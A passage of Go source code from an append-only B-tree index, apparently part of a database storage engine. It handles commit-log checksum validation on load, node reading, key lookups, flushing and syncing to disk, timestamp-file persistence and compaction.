opts.appFactory,\n\t\tappRemove:                opts.appRemove,\n\t\tsnapshots:                make(map[uint64]*Snapshot),\n\t}\n\n\tvar validatedCLogEntry *cLogEntry\n\tdiscardedCLogEntries := 0\n\n\t// checksum validation up to latest synced entry\n\tfor cLogSize > 0 {\n\t\tvar b [cLogEntrySize]byte\n\t\tn, err := cLog.ReadAt(b[:], cLogSize-cLogEntrySize)\n\t\tif errors.Is(err, io.EOF) {\n\t\t\tcLogSize -= int64(n)\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"%w: while reading index index commit log entry at '%s'\", err, path)\n\t\t}\n\n\t\tcLogEntry := &cLogEntry{}\n\t\tcLogEntry.deserialize(b[:])\n\n\t\tmustDiscard := !cLogEntry.isValid()\n\t\tif mustDiscard {\n\t\t\terr = fmt.Errorf(\"invalid clog entry\")\n\t\t}\n\n\t\tif !mustDiscard {\n\t\t\tnLogChecksum, nerr := appendable.Checksum(t.nLog, cLogEntry.initialNLogSize, cLogEntry.finalNLogSize-cLogEntry.initialNLogSize)\n\t\t\tif nerr != nil && !errors.Is(nerr, io.EOF) {\n\t\t\t\treturn nil, fmt.Errorf(\"%w: while calculating nodes log checksum at '%s'\", nerr, path)\n\t\t\t}\n\n\t\t\thLogChecksum, herr := appendable.Checksum(t.hLog, cLogEntry.initialHLogSize, cLogEntry.finalHLogSize-cLogEntry.initialHLogSize)\n\t\t\tif herr != nil && herr != io.EOF {\n\t\t\t\treturn nil, fmt.Errorf(\"%w: while calculating history log checksum at '%s'\", herr, path)\n\t\t\t}\n\n\t\t\tmustDiscard = errors.Is(nerr, io.EOF) ||\n\t\t\t\terrors.Is(herr, io.EOF) ||\n\t\t\t\tnLogChecksum != cLogEntry.nLogChecksum ||\n\t\t\t\thLogChecksum != cLogEntry.hLogChecksum\n\n\t\t\terr = fmt.Errorf(\"invalid checksum\")\n\t\t}\n\n\t\tif mustDiscard {\n\t\t\tt.logger.Infof(\"discarding snapshots due to %v at '%s'\", err, path)\n\n\t\t\tdiscardedCLogEntries += int(t.committedLogSize/cLogEntrySize) + 1\n\n\t\t\tvalidatedCLogEntry = nil\n\t\t\tt.committedLogSize = 0\n\t\t}\n\n\t\tif !mustDiscard && t.committedLogSize == 0 {\n\t\t\tvalidatedCLogEntry = cLogEntry\n\t\t\tt.committedLogSize = cLogSize\n\t\t}\n\n\t\tif !mustDiscard && cLogEntry.synced {\n\t\t\tbreak\n\t\t}\n\n\t\tcLogSize -= cLogEntrySize\n\t}\n\n\tif validatedCLogEntry == nil {\n\t\t// It is not necessary to copy the root node when starting with a fresh btree.\n\t\t// A fresh root will be used if insertion fails\n\t\tt.root = &leafNode{t: t, mut: true}\n\t} else {\n\t\tt.root, err = t.readNodeAt(validatedCLogEntry.finalNLogSize - int64(validatedCLogEntry.rootNodeSize))\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"%w: while loading index at '%s'\", err, path)\n\t\t}\n\n\t\tt.committedNLogSize = validatedCLogEntry.finalNLogSize\n\t\tt.committedHLogSize = validatedCLogEntry.finalHLogSize\n\t\tt.minOffset = t.root.minOffset()\n\t}\n\n\tmetricsBtreeNodesDataBeginOffset.WithLabelValues(t.path).Set(float64(t.minOffset))\n\tmetricsBtreeNodesDataEndOffset.WithLabelValues(t.path).Set(float64(t.committedNLogSize))\n\n\terr = t.hLog.SetOffset(t.committedHLogSize)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"%w: while setting initial offset of history log for index '%s'\", err, path)\n\t}\n\n\terr = t.cLog.SetOffset(t.committedLogSize)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"%w: while setting initial offset of commit log for index '%s'\", err, path)\n\t}\n\n\topts.logger.Infof(\"index '%s' {ts=%d, discarded_snapshots=%d} successfully loaded\", path, t.Ts(), discardedCLogEntries)\n\n\tif ts := t.readTsFile(); ts > t.root.ts() {\n\t\troot, err := t.root.setTs(ts)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tt.root = root\n\t}\n\treturn t, nil\n}\n\nfunc greatestKeyOfSize(size int) []byte {\n\tk := make([]byte, size)\n\tfor i := 0; i < size; i++ {\n\t\tk[i] = 0xFF\n\t}\n\treturn k\n}\n\n// requiredNodeSize calculates the lower bound for node size\nfunc requiredNodeSize(maxKeySize, maxValueSize int) int {\n\t// space for at least two children is required for inner nodes\n\t// 31 bytes are fixed in leafNode serialization while 29 bytes are fixed in innerNodes\n\tminInnerNode := 2 * (29 + maxKeySize)\n\tminLeafNode := 31 + maxKeySize + maxValueSize\n\n\tif minInnerNode < minLeafNode {\n\t\treturn minLeafNode\n\t}\n\n\treturn minInnerNode\n}\n\nfunc (t *TBtree) GetOptions() *Options {\n\treturn DefaultOptions().\n\t\tWithReadOnly(t.readOnly).\n\t\tWithFileMode(t.fileMode).\n\t\tWithFileSize(t.fileSize).\n\t\tWithMaxKeySize(t.maxKeySize).\n\t\tWithMaxValueSize(t.maxValueSize).\n\t\tWithLogger(t.logger).\n\t\tWithCacheSize(t.cacheSize).\n\t\tWithFlushThld(t.flushThld).\n\t\tWithSyncThld(t.syncThld).\n\t\tWithFlushBufferSize(t.flushBufferSize).\n\t\tWithCleanupPercentage(t.cleanupPercentage).\n\t\tWithMaxActiveSnapshots(t.maxActiveSnapshots).\n\t\tWithMaxNodeSize(t.maxNodeSize).\n\t\tWithRenewSnapRootAfter(t.renewSnapRootAfter).\n\t\tWithCompactionThld(t.compactionThld).\n\t\tWithDelayDuringCompaction(t.delayDuringCompaction).\n\t\tWithNodesLogMaxOpenedFiles(t.nodesLogMaxOpenedFiles).\n\t\tWithHistoryLogMaxOpenedFiles(t.historyLogMaxOpenedFiles).\n\t\tWithCommitLogMaxOpenedFiles(t.commitLogMaxOpenedFiles).\n\t\tWithAppFactory(t.appFactory).\n\t\tWithAppRemoveFunc(t.appRemove)\n}\n\nfunc (t *TBtree) cachePut(n node) {\n\tt.nmutex.Lock()\n\tdefer t.nmutex.Unlock()\n\n\tsize, _ := n.size()\n\tr, _, _ := t.cache.PutWeighted(encodeOffset(t.id, n.offset()), n, size)\n\tif r != nil {\n\t\tmetricsCacheEvict.WithLabelValues(t.path).Inc()\n\t}\n}\n\nfunc encodeOffset(id uint16, offset int64) int64 {\n\treturn int64(id)<<48 | offset\n}\n\nfunc (t *TBtree) nodeAt(offset int64, updateCache bool) (node, error) {\n\tt.nmutex.Lock()\n\tdefer t.nmutex.Unlock()\n\n\tsize := t.cache.EntriesCount()\n\tmetricsCacheSizeStats.WithLabelValues(t.path).Set(float64(size))\n\n\tencOffset := encodeOffset(t.id, offset)\n\n\tv, err := t.cache.Get(encOffset)\n\tif err == nil {\n\t\tmetricsCacheHit.WithLabelValues(t.path).Inc()\n\t\treturn v.(node), nil\n\t}\n\n\tif err == cache.ErrKeyNotFound {\n\t\tmetricsCacheMiss.WithLabelValues(t.path).Inc()\n\n\t\tn, err := t.readNodeAt(offset)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif updateCache {\n\t\t\tsize, _ := n.size()\n\t\t\tr, _, _ := t.cache.PutWeighted(encOffset, n, size)\n\t\t\tif r != nil {\n\t\t\t\tmetricsCacheEvict.WithLabelValues(t.path).Inc()\n\t\t\t}\n\t\t}\n\n\t\treturn n, nil\n\t}\n\n\treturn nil, err\n}\n\nfunc (t *TBtree) readNodeAt(off int64) (node, error) {\n\tr := appendable.NewReaderFrom(t.nLog, off, t.maxNodeSize)\n\treturn t.readNodeFrom(r)\n}\n\nfunc (t *TBtree) readNodeFrom(r *appendable.Reader) (node, error) {\n\toff := r.Offset()\n\n\tnodeType, err := r.ReadByte()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tswitch nodeType {\n\tcase InnerNodeType:\n\t\tn, err := t.readInnerNodeFrom(r)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tn.off = off\n\t\treturn n, nil\n\tcase LeafNodeType:\n\t\tn, err := t.readLeafNodeFrom(r)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tn.off = off\n\t\treturn n, nil\n\t}\n\treturn nil, ErrReadingFileContent\n}\n\nfunc (t *TBtree) readInnerNodeFrom(r *appendable.Reader) (*innerNode, error) {\n\tchildCount, err := r.ReadUint16()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tn := &innerNode{\n\t\tt:       t,\n\t\tnodes:   make([]node, childCount),\n\t\t_minOff: math.MaxInt64,\n\t}\n\n\tfor c := 0; c < int(childCount); c++ {\n\t\tnref, err := t.readNodeRefFrom(r)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tn.nodes[c] = nref\n\n\t\tif n._ts < nref._ts {\n\t\t\tn._ts = nref._ts\n\t\t}\n\n\t\tif n._minOff > nref._minOff {\n\t\t\tn._minOff = nref._minOff\n\t\t}\n\t}\n\treturn n, nil\n}\n\nfunc (t *TBtree) readNodeRefFrom(r *appendable.Reader) (*nodeRef, error) {\n\tminKeySize, err := r.ReadUint16()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tminKey := make([]byte, minKeySize)\n\t_, err = r.Read(minKey)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tts, err := r.ReadUint64()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\toff, err := r.ReadUint64()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tminOff, err := r.ReadUint64()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &nodeRef{\n\t\tt:       t,\n\t\t_minKey: minKey,\n\t\t_ts:     ts,\n\t\toff:     int64(off),\n\t\t_minOff: int64(minOff),\n\t}, nil\n}\n\nfunc (t *TBtree) readLeafNodeFrom(r *appendable.Reader) (*leafNode, error) {\n\tvalueCount, err := r.ReadUint16()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tl := &leafNode{\n\t\tt:      t,\n\t\tvalues: make([]*leafValue, valueCount),\n\t}\n\n\tfor c := 0; c < int(valueCount); c++ {\n\t\tksize, err := r.ReadUint16()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tkey := make([]byte, ksize)\n\t\t_, err = r.Read(key)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tvsize, err := r.ReadUint16()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tvalue := make([]byte, vsize)\n\t\t_, err = r.Read(value)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tts, err := r.ReadUint64()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\thOff, err := r.ReadUint64()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\thCount, err := r.ReadUint64()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tleafValue := &leafValue{\n\t\t\tkey:         key,\n\t\t\ttimedValues: []TimedValue{{Value: value, Ts: ts}},\n\t\t\thOff:        int64(hOff),\n\t\t\thCount:      hCount,\n\t\t}\n\n\t\tl.values[c] = leafValue\n\n\t\tif l._ts < ts {\n\t\t\tl._ts = ts\n\t\t}\n\t}\n\treturn l, nil\n}\n\nfunc (t *TBtree) Get(key []byte) (value []byte, ts uint64, hc uint64, err error) {\n\tt.rwmutex.RLock()\n\tdefer t.rwmutex.RUnlock()\n\n\tif t.closed {\n\t\treturn nil, 0, 0, ErrAlreadyClosed\n\t}\n\n\tif key == nil {\n\t\treturn nil, 0, 0, ErrIllegalArguments\n\t}\n\n\tv, ts, hc, err := t.root.get(key)\n\treturn cp(v), ts, hc, err\n}\n\nfunc (t *TBtree) GetBetween(key []byte, initialTs, finalTs uint64) (value []byte, ts uint64, hc uint64, err error) {\n\tt.rwmutex.RLock()\n\tdefer t.rwmutex.RUnlock()\n\n\tif t.closed {\n\t\treturn nil, 0, 0, ErrAlreadyClosed\n\t}\n\n\tif key == nil {\n\t\treturn nil, 0, 0, ErrIllegalArguments\n\t}\n\n\treturn t.root.getBetween(key, initialTs, finalTs)\n}\n\nfunc (t *TBtree) History(key []byte, offset uint64, descOrder bool, limit int) (tvs []TimedValue, hCount uint64, err error) {\n\tt.rwmutex.RLock()\n\tdefer t.rwmutex.RUnlock()\n\n\tif t.closed {\n\t\treturn nil, 0, ErrAlreadyClosed\n\t}\n\n\tif key == nil {\n\t\treturn nil, 0, ErrIllegalArguments\n\t}\n\n\tif limit < 1 {\n\t\treturn nil, 0, ErrIllegalArguments\n\t}\n\n\treturn t.root.history(key, offset, descOrder, limit)\n}\n\nfunc (t *TBtree) GetWithPrefix(prefix []byte, neq []byte) (key []byte, value []byte, ts uint64, hc uint64, err error) {\n\tt.rwmutex.RLock()\n\tdefer t.rwmutex.RUnlock()\n\n\tif t.closed {\n\t\treturn nil, nil, 0, 0, ErrAlreadyClosed\n\t}\n\n\tpath, leaf, off, err := t.root.findLeafNode(prefix, nil, 0, neq, false)\n\tif err != nil {\n\t\treturn nil, nil, 0, 0, err\n\t}\n\n\tmetricsBtreeDepth.WithLabelValues(t.path).Set(float64(len(path) + 1))\n\n\tleafValue := leaf.values[off]\n\n\tif len(prefix) > len(leafValue.key) {\n\t\treturn nil, nil, 0, 0, ErrKeyNotFound\n\t}\n\n\tif bytes.Equal(prefix, leafValue.key[:len(prefix)]) {\n\t\tcurrValue := leafValue.timedValue()\n\t\treturn leafValue.key, cp(currValue.Value), currValue.Ts, leafValue.historyCount(), nil\n\t}\n\n\treturn nil, nil, 0, 0, ErrKeyNotFound\n}\n\nfunc (t *TBtree) Sync() error {\n\tt.rwmutex.Lock()\n\tdefer t.rwmutex.Unlock()\n\n\tif t.closed {\n\t\treturn ErrAlreadyClosed\n\t}\n\n\t_, _, err := t.flushTree(0, true, false, \"sync\")\n\treturn err\n}\n\nfunc (t *TBtree) Flush() (wN, wH int64, err error) {\n\treturn t.FlushWith(t.cleanupPercentage, false)\n}\n\nfunc (t *TBtree) FlushWith(cleanupPercentage float32, synced bool) (wN, wH int64, err error) {\n\tt.rwmutex.Lock()\n\tdefer t.rwmutex.Unlock()\n\n\tif t.closed {\n\t\treturn 0, 0, ErrAlreadyClosed\n\t}\n\n\treturn t.flushTree(cleanupPercentage, synced, true, \"flushWith\")\n}\n\ntype appendableWriter struct {\n\tappendable.Appendable\n}\n\nfunc (aw *appendableWriter) Write(b []byte) (int, error) {\n\t_, n, err := aw.Append(b)\n\treturn n, err\n}\n\nfunc (t *TBtree) wrapNwarn(formattedMessage string, args ...interface{}) error {\n\tt.logger.Warningf(formattedMessage, args)\n\treturn fmt.Errorf(formattedMessage, args...)\n}\n\nfunc (t *TBtree) flushTree(cleanupPercentageHint float32, forceSync bool, forceCleanup bool, src string) (wN int64, wH int64, err error) {\n\tif cleanupPercentageHint < 0 || cleanupPercentageHint > 100 {\n\t\treturn 0, 0, fmt.Errorf(\"%w: invalid cleanupPercentage\", ErrIllegalArguments)\n\t}\n\n\tcleanupPercentage := cleanupPercentageHint\n\tif !forceCleanup && t.insertionCountSinceCleanup < t.flushThld {\n\t\tcleanupPercentage = 0\n\t}\n\n\tt.logger.Infof(\"flushing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f, since_cleanup=%d} requested via %s...\",\n\t\tt.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage, t.insertionCountSinceCleanup,\n\t\tsrc,\n\t)\n\n\tif !t.root.mutated() && cleanupPercentage == 0 {\n\t\tt.logger.Infof(\"flushing not needed at '%s' {ts=%d, cleanup_percentage=%.2f}\", t.path, t.root.ts(), cleanupPercentage)\n\t\treturn 0, 0, nil\n\t}\n\n\tsnapshot := t.newSnapshot(0, t.root)\n\n\t// will overwrite partially written and uncommitted data\n\t// if garbage is accepted then t.committedNLogSize should be set to its size during initialization\n\terr = t.hLog.SetOffset(t.committedHLogSize)\n\tif err != nil {\n\t\treturn 0, 0, err\n\t}\n\n\terr = t.nLog.SetOffset(t.committedNLogSize)\n\tif err != nil {\n\t\treturn 0, 0, err\n\t}\n\n\tprogressOutputFunc, finishOutputFunc := t.buildWriteProgressOutput(\n\t\tmetricsFlushedNodesLastCycle,\n\t\tmetricsFlushedNodesTotal,\n\t\tmetricsFlushedEntriesLastCycle,\n\t\tmetricsFlushedEntriesTotal,\n\t\t\"flushing\",\n\t\tt.root.ts(),\n\t\ttime.Minute,\n\t)\n\tdefer finishOutputFunc()\n\n\texpectedNewMinOffset := t.minOffset + int64((float64(t.committedNLogSize-t.minOffset)*float64(cleanupPercentage))/100)\n\n\twopts := &WriteOpts{\n\t\tOnlyMutated:    true,\n\t\tBaseNLogOffset: t.committedNLogSize,\n\t\tBaseHLogOffset: t.committedHLogSize,\n\t\tcommitLog:      true,\n\t\treportProgress: progressOutputFunc,\n\t\tMinOffset:      expectedNewMinOffset,\n\t}\n\n\t_, actualNewMinOffset, wN, wH, err := snapshot.WriteTo(&appendableWriter{t.nLog}, &appendableWriter{t.hLog}, wopts)\n\tif err != nil {\n\t\treturn 0, 0, t.wrapNwarn(\"flushing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v\",\n\t\t\tt.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage, err)\n\t}\n\n\terr = t.hLog.Flush()\n\tif err != nil {\n\t\treturn 0, 0, t.wrapNwarn(\"flushing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v\",\n\t\t\tt.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage, err)\n\t}\n\n\terr = t.nLog.Flush()\n\tif err != nil {\n\t\treturn 0, 0, t.wrapNwarn(\"flushing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v\",\n\t\t\tt.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage, err)\n\t}\n\n\tsync := forceSync || t.insertionCountSinceSync >= t.syncThld\n\tif sync {\n\t\terr = t.hLog.Sync()\n\t\tif err != nil {\n\t\t\treturn 0, 0, t.wrapNwarn(\"syncing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v\",\n\t\t\t\tt.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage, err)\n\t\t}\n\n\t\terr = t.nLog.Sync()\n\t\tif err != nil {\n\t\t\treturn 0, 0, t.wrapNwarn(\"syncing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v\",\n\t\t\t\tt.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage, err)\n\t\t}\n\t}\n\n\t// will overwrite partially written and uncommitted data\n\terr = t.cLog.SetOffset(t.committedLogSize)\n\tif err != nil {\n\t\treturn 0, 0, err\n\t}\n\n\trootSize, err := t.root.size()\n\tif err != nil {\n\t\treturn 0, 0, err\n\t}\n\n\tcLogEntry := &cLogEntry{\n\t\tsynced: sync,\n\n\t\tinitialNLogSize: t.committedNLogSize,\n\t\tfinalNLogSize:   t.committedNLogSize + wN,\n\t\trootNodeSize:    rootSize,\n\n\t\tinitialHLogSize: t.committedHLogSize,\n\t\tfinalHLogSize:   t.committedHLogSize + wH,\n\t}\n\n\tcLogEntry.nLogChecksum, err = appendable.Checksum(t.nLog, t.committedNLogSize, wN)\n\tif err != nil {\n\t\treturn 0, 0, t.wrapNwarn(\"flushing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v\",\n\t\t\tt.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage, err)\n\t}\n\n\tcLogEntry.hLogChecksum, err = appendable.Checksum(t.hLog, t.committedHLogSize, wH)\n\tif err != nil {\n\t\treturn 0, 0, t.wrapNwarn(\"flushing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v\",\n\t\t\tt.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage, err)\n\t}\n\n\t_, _, err = t.cLog.Append(cLogEntry.serialize())\n\tif err != nil {\n\t\treturn 0, 0, t.wrapNwarn(\"flushing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v\",\n\t\t\tt.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage, err)\n\t}\n\n\terr = t.cLog.Flush()\n\tif err != nil {\n\t\treturn 0, 0, t.wrapNwarn(\"flushing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v\",\n\t\t\tt.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage, err)\n\t}\n\n\tt.insertionCountSinceFlush = 0\n\tif t.onFlush != nil {\n\t\tt.onFlush(t.bufferedDataSize)\n\t}\n\tt.bufferedDataSize = 0\n\n\tif cleanupPercentage != 0 {\n\t\tt.insertionCountSinceCleanup = 0\n\t}\n\tt.logger.Infof(\"index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} successfully flushed\",\n\t\tt.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage)\n\n\tif sync {\n\t\terr = t.cLog.Sync()\n\t\tif err != nil {\n\t\t\treturn 0, 0, t.wrapNwarn(\"syncing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v\",\n\t\t\t\tt.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage, err)\n\t\t}\n\n\t\tt.insertionCountSinceSync = 0\n\t\tt.logger.Infof(\"index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} successfully synced\",\n\t\t\tt.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage)\n\n\t\t// prevent discarding data referenced by opened snapshots\n\t\tdiscardableNLogOffset := actualNewMinOffset\n\t\tfor _, snap := range t.snapshots {\n\t\t\tif snap.root.minOffset() < discardableNLogOffset {\n\t\t\t\tdiscardableNLogOffset = snap.root.minOffset()\n\t\t\t}\n\t\t}\n\n\t\tif discardableNLogOffset > t.minOffset {\n\t\t\tt.logger.Infof(\"discarding unreferenced data at index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f, current_min_offset=%d, new_min_offset=%d}...\",\n\t\t\t\tt.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage, t.minOffset, actualNewMinOffset)\n\n\t\t\terr = t.nLog.DiscardUpto(discardableNLogOffset)\n\t\t\tif err != nil {\n\t\t\t\tt.logger.Warningf(\"discarding unreferenced data at index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v\",\n\t\t\t\t\tt.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage, err)\n\t\t\t}\n\n\t\t\tmetricsBtreeNodesDataBeginOffset.WithLabelValues(t.path).Set(float64(discardableNLogOffset))\n\n\t\t\tt.logger.Infof(\"unreferenced data at index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f, current_min_offset=%d, new_min_offset=%d} successfully discarded\",\n\t\t\t\tt.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage, t.minOffset, actualNewMinOffset)\n\t\t}\n\n\t\tdiscardableCommitLogOffset := t.committedLogSize - int64(cLogEntrySize*len(t.snapshots)+1)\n\t\tif discardableCommitLogOffset > 0 {\n\t\t\tt.logger.Infof(\"discarding older snapshots at index '%s' {ts=%d, opened_snapshots=%d}...\", t.path, t.root.ts(), len(t.snapshots))\n\n\t\t\terr = t.cLog.DiscardUpto(discardableCommitLogOffset)\n\t\t\tif err != nil {\n\t\t\t\tt.logger.Warningf(\"discarding older snapshots at index '%s' {ts=%d, opened_snapshots=%d} returned: %v\", t.path, t.root.ts(), len(t.snapshots), err)\n\t\t\t}\n\n\t\t\tt.logger.Infof(\"older snapshots at index '%s' {ts=%d, opened_snapshots=%d} successfully discarded\", t.path, t.root.ts(), len(t.snapshots))\n\t\t}\n\t}\n\n\tt.minOffset = t.root.minOffset()\n\tt.committedLogSize += cLogEntrySize\n\tt.committedNLogSize += wN\n\tt.committedHLogSize += wH\n\n\tmetricsBtreeNodesDataEndOffset.WithLabelValues(t.path).Set(float64(t.committedNLogSize))\n\n\t// current root can be used as latest snapshot as !t.root.mutated() holds\n\tt.lastSnapRoot = t.root\n\tt.lastSnapRootAt = time.Now()\n\n\treturn wN, wH, nil\n}\n\nfunc (t *TBtree) readTsFile() uint64 {\n\tpath := filepath.Join(t.path, t.tsFile)\n\n\tbs, err := os.ReadFile(path)\n\tif err != nil {\n\t\treturn 0\n\t}\n\treturn binary.BigEndian.Uint64(bs)\n}\n\n// The timestamp (ts) file is essential for optimizing crash recovery and restart times.\n// Initially, the B-Tree design only persisted timestamp information directly with inserted key-value entries.\n// However, when the tree's logical timestamp is advanced (e.g., via `SetTs()`), this crucial\n// 'high-water mark' is not automatically written to disk.\n//\n// Consequently, without this dedicated timestamp file, a system restart or crash would\n// necessitate re-scanning entire segments of the transaction log. This can be\n// extremely time-consuming, especially if long segments of the log have been processed\n// but haven't resulted in new key insertions that trigger a tree flush, leading to\n// inefficient recovery and prolonged downtime.\nfunc (t *TBtree) writeTsFile() error {\n\treturn writeTsFile(t.path, t.tsFile, t.root.ts())\n}\n\nfunc writeTsFile(path, name string, ts uint64) error {\n\ttempFileName, err := func() (string, error) {\n\t\ttempFile, err := os.CreateTemp(path, \"\")\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tdefer tempFile.Close()\n\n\t\tvar buf [8]byte\n\t\tbinary.BigEndian.PutUint64(buf[:], ts)\n\t\t_, err = tempFile.Write(buf[:])\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\n\t\terr = tempFile.Sync()\n\t\treturn tempFile.Name(), err\n\t}()\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn os.Rename(tempFileName, filepath.Join(path, name))\n}\n\n// SnapshotCount returns the number of stored snapshots\n// Note: snapshotCount(compact(t)) = 1\nfunc (t *TBtree) SnapshotCount() (uint64, error) {\n\tt.rwmutex.RLock()\n\tdefer t.rwmutex.RUnlock()\n\n\tif t.closed {\n\t\treturn 0, ErrAlreadyClosed\n\t}\n\n\treturn t.snapshotCount(), nil\n}\n\nfunc (t *TBtree) snapshotCount() uint64 {\n\treturn uint64(t.committedLogSize / cLogEntrySize)\n}\n\nfunc (t *TBtree) buildWriteProgressOutput(\n\tnodesLastCycle *prometheus.GaugeVec,\n\tnodesTotal *prometheus.CounterVec,\n\tentriesLastCycle *prometheus.GaugeVec,\n\tentriesTotal *prometheus.CounterVec,\n\taction string,\n\tsnapTS uint64,\n\tlogReportDelay time.Duration,\n) (\n\twriteProgressOutputFunc,\n\twriteFinnishOutputFunc,\n) {\n\n\tiLastCycle := nodesLastCycle.WithLabelValues(t.path, \"inner\")\n\tlLastCycle := nodesLastCycle.WithLabelValues(t.path, \"leaf\")\n\teLastCycle := entriesLastCycle.WithLabelValues(t.path)\n\n\tiTotal := nodesTotal.WithLabelValues(t.path, \"inner\")\n\tlTotal := nodesTotal.WithLabelValues(t.path, \"leaf\")\n\teTotal := entriesTotal.WithLabelValues(t.path)\n\n\tinnerNodes := 0\n\tleafNodes := 0\n\tentries := 0\n\n\tlastProgressTime := time.Now()\n\tprogressFunc := func(innerNodesWritten, leafNodesWritten, entriesWritten int) {\n\n\t\tinnerNodes += innerNodesWritten\n\t\tleafNodes += leafNodesWritten\n\t\tentries += entriesWritten\n\n\t\tiTotal.Add(float64(innerNodesWritten))\n\t\tlTotal.Add(float64(leafNodesWritten))\n\t\teTotal.Add(float64(entriesWritten))\n\n\t\tnow := time.Now()\n\t\tif now.Sub(lastProgressTime) > logReportDelay {\n\t\t\tt.logger.Infof(\n\t\t\t\t\"%s index '%s' {ts=%d} progress: %d inner nodes, %d leaf nodes, %d entries...\",\n\t\t\t\taction, t.path, snapTS, leafNodes, innerNodes, entries,\n\t\t\t)\n\t\t\tlastProgressTime = now\n\t\t}\n\t}\n\n\tfinishFunc := func() {\n\t\tiLastCycle.Set(float64(innerNodes))\n\t\tlLastCycle.Set(float64(leafNodes))\n\t\teLastCycle.Set(float64(entries))\n\n\t\tt.logger.Infof(\n\t\t\t\"%s index '%s' {ts=%d} finished with: %d inner nodes, %d leaf nodes, %d entries\",\n\t\t\taction, t.path, snapTS, leafNodes, innerNodes, entries,\n\t\t)\n\t}\n\n\treturn progressFunc, finishFunc\n}\n\nfunc (t *TBtree) Compact() (uint64, error) {\n\tt.rwmutex.Lock()\n\tdefer t.rwmutex.Unlock()\n\n\tif t.closed {\n\t\treturn 0, ErrAlreadyClosed\n\t}\n\n\tif t.compacting {\n\t\treturn 0, ErrCompactAlreadyInProgress\n\t}\n\n\tif t.snapshotCount() < uint64(t.compactionThld) {\n\t\treturn 0, ErrCompactionThresholdNotReached\n\t}\n\n\t_, _, err := t.flushTree(0, false, false, \"compact\")\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\tsnap := t.newSnapshot(0, t.root)\n\n\tt.compacting = true\n\tdefer func() {\n\t\tt.compacting = false\n\t}()\n\n\t// snapshot dumping without lock\n\tt.rwmutex.Unlock()\n\tdefer t.rwmutex.Lock()\n\n\tt.logger.Infof(\"dumping index '%s' {ts=%d}...\", t.path, snap.Ts())\n\n\tprogressOutput, finishOutput := t.buildWriteProgressOutput(\n\t\tmetricsCompactedNodesLastCycle,\n\t\tmetricsCompactedNodesTotal,\n\t\tmetricsCompactedEntriesLastCycle,\n\t\tmetricsCompactedEntriesTotal,\n\t\t\"dumping\",\n\t\tsnap.Ts(),\n\t\ttime.Minute,\n\t)\n\tdefer finishOutput()\n\n\terr = t.fullDump(snap, progressOutput)\n\tif err != nil {\n\t\treturn 0, t.wrapNwarn(\"dumping index '%s' {ts=%d} returned: %v\", t.path, snap.Ts(), err)\n\t}\n\n\tt.logger.Infof(\"index '%s' {ts=%d} successfully dumped\", t.path, snap.Ts())\n\n\treturn snap.Ts(), nil\n}\n\nfunc (t *TBtree) fullDump(snap *Snapshot, progressOutput writeProgressOutputFunc) error 